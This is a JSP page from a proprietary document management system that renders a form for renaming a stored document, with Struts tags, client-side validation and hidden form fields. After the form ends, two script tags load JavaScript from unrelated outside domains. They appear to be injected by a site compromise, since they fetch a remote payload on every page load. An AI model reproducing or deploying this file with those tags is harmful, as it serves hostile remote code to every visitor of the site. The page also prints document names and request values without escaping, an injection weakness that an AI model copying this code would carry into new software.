<%
/*
 * @(#)RenameDmsDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  RenameDmsDocument.jsp

  This is a RenameDmsDocument page.  It copy the selected document into target directory.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      27/08/2003
    @version            $Revision: 1.40.6.6 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsDocumentForm" scope="request" class="com.dcivision.dms.web.MaintDmsDocumentForm"/>

<html:form type="MaintDmsDocumentForm" enctype="multipart/form-data" action="dms/MaintDmsDocument" onsubmit="return(false)">
<html:javascript formName="maintDmsDocumentForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

  String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
  String sCurFunctionCode = maintDmsDocumentForm.getCurFunctionCode();

  final Integer rootID = TextUtility.parseIntegerObj(maintDmsDocumentForm.getRootID());
  final Integer parentID = TextUtility.parseIntegerObj(maintDmsDocumentForm.getParentID());
  final String opMode = maintDmsDocumentForm.getOpMode();
  final String navMode = maintDmsDocumentForm.getNavMode();

  String directURL = request.getParameter("directURL") != null ? request.getParameter("directURL") : maintDmsDocumentForm.getDirectURL();

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  DmsDocument currentDocument = (DmsDocument) docRetrievalManager.getDocument(TextUtility.parseIntegerObj(maintDmsDocumentForm.getID()));
  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  List folderTreeList = (List)request.getAttribute("folderTreeList");

  String homePageFunctionCode="";
   if (Utility.isEmpty(sCurFunctionCode) || "null".equals(sCurFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(sCurFunctionCode)){
     homePageFunctionCode=DmsOperationConstant.LIST_PERSONAL_HOME;
    DmsDocument documentRoot = docRetrievalManager.getRootFolderByRootID(rootID);
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
      sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
      sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }
    request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, sCurFunctionCode);
    
   }

   String returnTop = request.getParameter("returnTop");
   String returnTo = maintDmsDocumentForm.getReturnTo();
   if(!Utility.isEmpty(returnTop)&&!"undefined".equals(returnTop)){
    returnTop = java.net.URLEncoder.encode(returnTop, "UTF-8");
    returnTo = returnTo + "&returnTo=" + returnTop;
    maintDmsDocumentForm.setReturnTo(returnTo);
  } 
%>

<script language="javascript">
<!--
var tree;

function OpCustSave() {

  if (!OpValidate()) {
    return(false);
  }
  document.maintDmsDocumentForm.navMode.value="<%=DmsOperationConstant.RENAME_OPERATION%>";
  document.maintDmsDocumentForm.opMode.value="<%=DmsOperationConstant.RENAME_OPERATION%>";
  document.maintDmsDocumentForm.action="MaintDmsDocument.do";
  document.maintDmsDocumentForm.submit();
  window.close();
  return(false);
}

function OpValidate() {
  var oldFilename = "<%=currentDocument.getDocumentName()%>";
  if (!ValidateForm(document.maintDmsDocumentForm)) {
    return(false);
  }

  if (document.maintDmsDocumentForm.documentType.value == "<%=DmsDocument.DOCUMENT_TYPE%>") {
    if (oldFilename == document.maintDmsDocumentForm.documentName.value) {
      alert("<bean:message key='dms.message.same.file.name'/>");
      return(false);
    }

    if (CheckExtensionInconsistent(oldFilename, document.maintDmsDocumentForm.documentName.value)) {
      if (!confirm("<bean:message key='dms.message.confirm_change_ext'/>")) {
        return(false);
      }
    }
  }
  return(true);
}

-->
</script>
<html:hidden property='documentType'/>
<html:hidden property="parentID"/>
<html:hidden property="rootID"/>
<html:hidden property="curFunctionCode"/>
<html:hidden property="destinationID"/>
<html:hidden property="targetRootID"/>
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="ID"/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property="directURL" value='<%=directURL%>'/>
<html:hidden property="returnTo"/>

<!-- Page Title Section -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle displayActionStr="false" functionCode="<%=sCurFunctionCode%>" functionType="dms.label.rename"/></font>
<layout:returnButton>
<%if(Utility.isEmpty(maintDmsDocumentForm.getReturnTo())){%>
<%if(Utility.isEmpty(homePageFunctionCode)){%>
   ListDmsDocument.do?opMode=<%=ACTION_MODE%>&rootID=<%=rootID%>&parentID=<%=parentID%>
<%}else{%>
   <%if(DmsOperationConstant.LIST_PERSONAL_HOME.equals(homePageFunctionCode)){%>
    <%=request.getContextPath()%>/Home.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
   <%}%>
<%}%>
<%}else{%>
  <%=maintDmsDocumentForm.getReturnTo()%>
<%}%>
</layout:returnButton>
</layout:titleFormat>
<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<table cellpadding="0" cellspacing="2" border="0" width="780">
  <layout:sectionHeader name="dms.label.dms_orig_file_detail" mandatory="false"/>
  <tr>
    <td class="formLabelSmall" width="150" valign='top'><bean:message key='dms.label.document_name'/>:&nbsp;</td>
    <%if(!DmsDocument.DOCUMENT_LINK.equals(currentDocument.getDocumentType())){
    %>
      <td class="formFieldSmall" width="630"><dms:extImg fileName='<%=currentDocument.getDocumentName()%>' docType='<%=currentDocument.getDocumentType()%>'/>
      <%if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%> <bean:write name='maintDmsDocumentForm' property='oldName'/> <%} else { %> <%=currentDocument.getDocumentName()%> <html:hidden property='oldName' value='<%=currentDocument.getDocumentName()%>'/> <% } %></td>
    <%}else{ 
      DmsDocument  newDocument = docRetrievalManager.getRelationshipTargetDocument(((AbstractBaseObject)currentDocument).getID(),DmsDocument.DOCUMENT_LINK);
	    if (!Utility.isEmpty(newDocument)){%>	 
        <td class="formFieldSmall" width="630"><dms:extImg fileName='<%=currentDocument.getDocumentName()%>' docType='<%=currentDocument.getDocumentType()%>' tarDocType ='<%=newDocument.getDocumentType()%>'/>
        <%if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%> <bean:write name='maintDmsDocumentForm' property='oldName'/> <%} else { %> <%=currentDocument.getDocumentName()%> <html:hidden property='oldName' value='<%=currentDocument.getDocumentName()%>'/> <% } %></td>
      <%}%>      
    <%}%>
  </tr>
  <tr>
    <td class="formLabelSmall" width="150" valign='top'><bean:message key='dms.label.location'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630"><%=request.getAttribute("location")%></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src='Spacer.gif'  width='1' height='10'/></td>
  </tr>
  <layout:sectionHeader name="dms.label.dms_new_file_detail" mandatory="true"/>
  <tr>
    <%String label = "dms.label.name_label_"+currentDocument.getDocumentType();%>
    <td class="formLabelSmallMan" width="150"><bean:message key="<%=label%>"/>:&nbsp;</td>
    <td class="formFieldSmall" width="630"><html:text property="documentName" size="25" maxlength="100"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src='Spacer.gif'  width='1' height='10'/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
      <html:standardButton label="dms.label.rename" onClick="return OpCustSave()"/>
    <%}else{
	   String tempReturnTo =java.net.URLEncoder.encode(maintDmsDocumentForm.getReturnTo()); %>
	   <%
	     String curFunctionCode=Utility.isEmpty(maintDmsDocumentForm.getCurFunctionCode())?"":("&curFunctionCode="+maintDmsDocumentForm.getCurFunctionCode());
	     pageContext.setAttribute("curFunctionCode", curFunctionCode);
	   %>
      <html:standardButton label="common.label.edit" link='<%="MaintDmsDocument.do?opMode="+DmsOperationConstant.RENAME_OPERATION+"&ID=${maintDmsDocumentForm.ID}&parentID=${maintDmsDocumentForm.parentID}&returnTo="+tempReturnTo+"&rootID=${maintDmsDocumentForm.rootID}${curFunctionCode}"%>'/>

    <%}%>
    </td>
  </tr>

</table>
</td></tr></table>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>